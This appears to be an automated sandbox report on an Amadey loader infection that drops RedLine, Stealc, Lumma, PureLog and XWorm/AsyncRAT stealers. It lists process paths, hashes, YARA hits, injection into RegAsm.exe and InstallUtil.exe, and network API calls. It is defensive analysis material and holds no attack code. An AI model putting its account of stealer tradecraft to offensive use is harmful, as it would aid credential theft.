Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2262892966.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2222614082.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:17:11
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x200000
File size:	1'940'480 bytes
MD5 hash:	B8FC8A5801E3C0172A199430C7DBA1D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2276396651.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2235626454.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:18:00
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x200000
File size:	1'940'480 bytes
MD5 hash:	B8FC8A5801E3C0172A199430C7DBA1D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2725148895.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:18:06
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\gold.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000002001\gold.exe"
Imagebase:	0xd30000
File size:	320'000 bytes
MD5 hash:	389881B424CF4D7EC66DE13F01C7232A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000008.00000002.2764953143.0000000004165000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:18:06
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:18:06
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x220000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:18:06
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x760000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.3514615123.0000000000421000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:18:09
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe"
Imagebase:	0x640000
File size:	903'168 bytes
MD5 hash:	84263AB03B0A0F2B51CC11B93EC49C9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:18:09
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:18:10
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:18:11
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\esFzLrEqPw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\esFzLrEqPw.exe"
Imagebase:	0x4c0000
File size:	364'544 bytes
MD5 hash:	A3EF9920A91B891837705E46BB26DE17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:18:11
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe"
Imagebase:	0xff0000
File size:	311'296 bytes
MD5 hash:	4E60F3FD76D9EAB244F9DC00F7765B0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000000.2808170295.0000000000FF2000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe, Author: Joe Security
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:18:12
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe"
Imagebase:	0x930000
File size:	425'984 bytes
MD5 hash:	F5D7B79EE6B6DA6B50E536030BCC3B59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000000.2818707390.0000000000931000.00000020.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2832307218.0000000000931000.00000020.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:18:13
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
Imagebase:	0x5a0000
File size:	425'984 bytes
MD5 hash:	F5D7B79EE6B6DA6B50E536030BCC3B59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2831867079.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000000.2830209557.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:18:13
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Imagebase:	0x5a0000
File size:	425'984 bytes
MD5 hash:	F5D7B79EE6B6DA6B50E536030BCC3B59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000000.2831681821.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2833629275.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:18:15
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"
Imagebase:	0x930000
File size:	192'000 bytes
MD5 hash:	7A02AA17200AEAC25A375F290A4B4C95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000000.2849048856.0000000000931000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3065909202.0000000000931000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security
Antivirus matches:	Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:18:21
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe"
Imagebase:	0x400000
File size:	4'278'784 bytes
MD5 hash:	7FA5C660D124162C405984D14042506F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000018.00000002.3021996080.0000000003129000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3031467583.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:18:25
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000254001\penis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000254001\penis.exe"
Imagebase:	0xac0000
File size:	419'328 bytes
MD5 hash:	A21700718C70EC5E787AD373CB72A757
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000000.2952756193.0000000000AC2000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, Author: ditekSHen
Antivirus matches:	Detection: 33%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:18:25
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:18:28
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe"
Imagebase:	0x510000
File size:	321'536 bytes
MD5 hash:	FF5AFED0A8B802D74AF1C1422C720446
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:18:28
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	10:18:29
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\svchost015.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\svchost015.exe
Imagebase:	0x400000
File size:	2'990'472 bytes
MD5 hash:	B826DD92D78EA2526E465A34324EBEEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\svchost015.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\svchost015.exe, Author: Joe Security
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:18:29
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001F.00000002.3187193053.0000000000423000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.3201717209.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:18:31
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe"
Imagebase:	0xdb0000
File size:	360'448 bytes
MD5 hash:	2F1D09F64218FFFE7243A8B44345B27E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:18:34
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe"
Imagebase:	0x30000
File size:	311'296 bytes
MD5 hash:	58E8B2EB19704C5A59350D4FF92E5AB6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.3039915900.0000000000051000.00000002.00000001.01000000.0000001D.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:18:37
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe"
Imagebase:	0x530000
File size:	986'112 bytes
MD5 hash:	1EF39C8BC5799AA381FE093A1F2D532A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000002.3310805165.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000002.3116851630.0000000002821000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 92%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:18:40
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe"
Imagebase:	0xa30000
File size:	367'616 bytes
MD5 hash:	6B470F7251AA9C14D7DAEA8F6446E217
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 79%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:18:40
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:18:41
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x950000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	10:18:43
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x610000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:18:44
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe"
Imagebase:	0xac0000
File size:	1'875'456 bytes
MD5 hash:	AD0C6BD7353136531AF5325034613533
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000003.3171679360.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	10:18:44
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 908
Imagebase:	0x6f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 05580C46 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2229572776.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b0a787cee1757a13b0b7bb63c774940c1f12145bceaba7fb81c9b0dbba14c5
Instruction ID: e36b224369e27ac0eea8859a8d9e62724e82354e533f02849598226db33c4b11
Opcode Fuzzy Hash: 97b0a787cee1757a13b0b7bb63c774940c1f12145bceaba7fb81c9b0dbba14c5
Instruction Fuzzy Hash: 1DE0A0EB08C1107D20A1AD85270D9F6FBAFF0C37302308826F443E2552A1C54AAD5171

Function 05580C57 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2229572776.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194270d93ba26becba43d92ace3d19ce24e858961e5e855019e8422252defe7f
Instruction ID: a8ebb6b8496b7ddf70845693219fbe11b66d1c762304e6327501a92d9b925ed0
Opcode Fuzzy Hash: 194270d93ba26becba43d92ace3d19ce24e858961e5e855019e8422252defe7f
Instruction Fuzzy Hash: 87F0E2EB0880006E61529A912B4E6F6EBAEF1D3B703308822F403E3582A1D80AAE5171

Function 05580CDA Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2229572776.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b127a8fb277bb90e6d17414ad6db7fe4b1873a5e4f03e79a539bc8f436346b6a
Instruction ID: 2df680cfcbe2af9ba4e2e146c509ec53b66644746d8f285d6c1bc3541af8a58c
Opcode Fuzzy Hash: b127a8fb277bb90e6d17414ad6db7fe4b1873a5e4f03e79a539bc8f436346b6a
Instruction Fuzzy Hash: 6DF02B9714D2C09DD3529794171C7F1FFBAB5C323033408ABE08391893E2C5091E9732

Function 05580C7D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2229572776.0000000005580000.00000040.00001000.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d75bd84849c719c1a3f50d658602589a472babb2134f2d6c311ccd65f1e3ec2
Instruction ID: f91e52e5951b38eee89e55203a87d9b8ed73be444a5f26b5dd27b0d9db94f0b1
Opcode Fuzzy Hash: 1d75bd84849c719c1a3f50d658602589a472babb2134f2d6c311ccd65f1e3ec2
Instruction Fuzzy Hash: C1F0A7EB14D580AD92928795575C6F1BFBAB59323033548BBE48291843E2C9051E9732

Analysis Process: axplong.exePID: 2616, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1856
Total number of Limit Nodes:	48

Executed Functions

Function 0020BD60 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00258D70,00000000,00000000,00000000,00000000), ref: 0020BDEC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0020BE10
HttpOpenRequestA.WININET(?,00000000), ref: 0020BE5B
HttpSendRequestA.WININET(?,00000000), ref: 0020BF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 0020BFCD
InternetReadFile.WININET(?,?,000003FF,?,?,?,?,?), ref: 0020C081
InternetCloseHandle.WININET(?), ref: 0020C0A7
InternetCloseHandle.WININET(?), ref: 0020C0AF
InternetCloseHandle.WININET(?), ref: 0020C0B7

Strings

